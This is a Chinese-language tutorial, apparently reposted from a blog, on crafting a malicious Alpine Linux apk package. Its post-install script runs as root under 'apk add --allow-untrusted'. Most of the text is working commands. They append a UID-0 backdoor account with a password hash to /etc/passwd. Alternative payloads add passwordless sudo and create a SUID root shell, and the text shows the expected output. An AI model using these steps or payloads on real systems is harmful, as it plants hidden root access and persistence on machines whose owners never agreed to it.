apk 包本质上是一个 tar.gz 压缩包,内含元数据(.PKGINFO)和控制脚本(.pre-install / .post-install 等)。
Alpine Linux 的包管理器 apk 在安装未签名包时,若加上 --allow-untrusted,会在 root 权限 下执行 post-install 脚本。攻击者可利用此特性制作恶意 apk 包,实现本地提权。
注意:此方法在 apk-tools 2.x 系列有效。apk-tools 3.x 将强制要求
datahash,简单无 data 部分的包会被拒绝。
复现步骤
1. 准备目录
mkdir -p /tmp/evil-pkg/pkg
cd /tmp/evil-pkg
2. 创建元数据文件 .PKGINFO
cat > pkg/.PKGINFO << 'EOF'
pkgname = evil-pwn
pkgver = 1.0.0
pkgdesc = Test package for privilege escalation demo
url = http://example.com
builddate = 1735680000
packager = root <root@localhost>
size = 4096
arch = x86_64
EOF
3. 创建 post-install 脚本
cat > pkg/.post-install << 'EOF'
#!/bin/sh
set -e
echo 'root2:aacFCuAIHhrCM:0:0:root:/root:/bin/bash' >> /etc/passwd
echo " [!] Exploit payload executed successfully!"
EOF
chmod +x pkg/.post-install
4. 打包成 apk
cd pkg
tar -czf ../evil-pwn.apk .PKGINFO .post-install
cd ..
5. 安装并触发提权
sudo apk add --allow-untrusted ./evil-pwn.apk
预期输出示例:
WARNING: Support for packages without datahash will be dropped in apk-tools 3.
(1/1) Installing evil-pwn (1.0.0)
WARNING: Support for packages without datahash will be dropped in apk-tools 3.
Executing evil-pwn-1.0.0.post-install
[!] Exploit payload executed successfully!
6. 验证提权成功
tail /etc/passwd
# 应该有我们添加的后门用户
其他常见 payload 示例(替换 .post-install 内容)
-
添加免密 sudo:
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/$(whoami) chmod 0440 /etc/sudoers.d/$(whoami) -
创建 SUID bash:
cp /bin/sh /usr/local/bin/pwnsh chown root:root /usr/local/bin/pwnsh chmod u+s /usr/local/bin/pwnsh
原文 https://blog.csdn.net/2301_79518550/article/details/158431683